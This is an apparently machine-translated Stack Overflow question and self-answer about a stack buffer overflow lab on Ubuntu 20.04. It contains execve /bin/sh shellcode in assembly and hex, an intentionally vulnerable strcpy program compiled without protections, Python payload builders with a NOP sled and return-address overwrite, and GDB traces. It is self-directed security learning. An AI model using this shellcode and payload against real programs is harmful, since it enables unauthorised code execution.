我试图从堆栈上的地址执行外壳代码(/bin/sh),但没有成功。我使用Ubuntu20.04位计算机上的缓冲区溢出方法将外壳代码注入到可执行文件中。我希望在执行过程中,一个shell将打开…。。
/bin/sh的程序集文件(我从其中获取机器代码):global _start
_start:
xor rax, rax
push rax
mov rbx, 0x68732f6e69622f2f
push rbx
mov rdi, rsp
push rax
push rdi
mov rsi,rsp
xor rdx, rdx
add rax, 59
syscall\x48\x31\xc0\x50\x48\xbb\x2f\x2f\x62\x69\x2f\x73\x68\x53\x48\x89\xe7\x50\x57\x48\x89\xe6\x48\x31\xd2\x48\x83\xc0\x3b\x0f\x05buffer_V8.c),我从其中注入shellcode代码:#include <stdio.h>
#include <string.h>
#include <stdlib.h>
int buffer(char* input){
char buffer[256];
strcpy (buffer,input);
printf("Hello from buffer!\n");
return 0;
}
void main (int argc, char *argv[]){
int local_variable = 1;
buffer(argv[1]);
printf("Hello from main!\n");
exit(0);
}gcc -fno-stack-protector -z execstack buffer_V8.c -o buffer_V8运行带有合法输入的可执行文件的
$ ./buffer_V8 AAA
Hello from buffer!
Hello from main! 使用GDB运行可执行文件的
下面是创建输入的文件:
#!/usr/bin/env python
from struct import *
buffer = ""
buffer += "A"*264
buffer += "B"*6
f = open("input_V1.txt", "w")
f.write(buffer)
f.close()下面是使用GDB执行的结果:当调试器尝试返回时,它将终止该消息:
gdb ./buffer_V8
run $(cat input_V1.txt)
c
…
Stopped reason: SIGSEGV
0x0000424242424242 in ?? () 使用GDB运行可执行文件的
下面是创建输入的文件:
#!/usr/bin/env python
from struct import *
buffer = ""
buffer += "\x90"*100 #NOP
#shell code
buffer+="\x48\x31\xc0\x50\x48\xbb\x2f\x2f\x62\x69\x2f\x73\x68\x53\x48\x89\xe7\x50\x57\x48\x89\xe6\x48\x31\xd2\x48\x83\xc0\x3b\x0f\x05"
buffer += "C"*133
#override the return address with an address in the stack inside the buffer before the shellcode begins.
buffer += pack("<Q", 0x7fffffffdcf0)
f = open("input_V4.txt", "w")
f.write(buffer)
f.close()下面是使用GDB执行的结果:
gdb ./buffer_V8
run $(cat input_V4.txt)
c
0x7fffffffdd3a: xor rdx,rdx
0x7fffffffdd3d: add rax,0x3b
0x7fffffffdd41: syscall
=> **0x7fffffffdd43**: rex.XB
0x7fffffffdd44: rex.XB
0x7fffffffdd45: rex.XB
0x7fffffffdd46: rex.XB
0x7fffffffdd47: rex.XB
[------------------------------------stack-------------------------------------]
0000| 0x7fffffffddb8 --> 0x7fffffffddc8 --> 0x0
0008| 0x7fffffffddc0 --> 0x0
0016| 0x7fffffffddc8 --> 0x0
0024| 0x7fffffffddd0 --> 0x7fffffffdee8 --> 0x7fffffffe22f ("/home/albi/Desktop/UMalware/PROJECTS
/Penetration/CH7/zzz")
0032| 0x7fffffffddd8 --> 0x2555550a0
0040| 0x7fffffffdde0 --> 0x7fffffffdee0 --> 0x2
0048| 0x7fffffffdde8 --> 0x100000000
0056| 0x7fffffffddf0 --> 0x0
[------------------------------------------------------------------------------]
Legend: code, data, rodata, value
Stopped reason: SIGSEGV
**0x00007fffffffdd43** in ?? ()与其打开shell,不如在调用syscall at address 0x7fffffffdd41之后停止执行。
哪里出了问题,我如何成功地执行外壳代码?
谢谢你,塔利
发布于 2020-11-21 07:28:03
我发现了窃听器:
从第1阶段:组装程序到第2阶段:机器代码的转换没有完成:缺少一个机器代码。
解决这个问题解决了每件事!
https://stackoverflow.com/questions/64916912
复制相似问题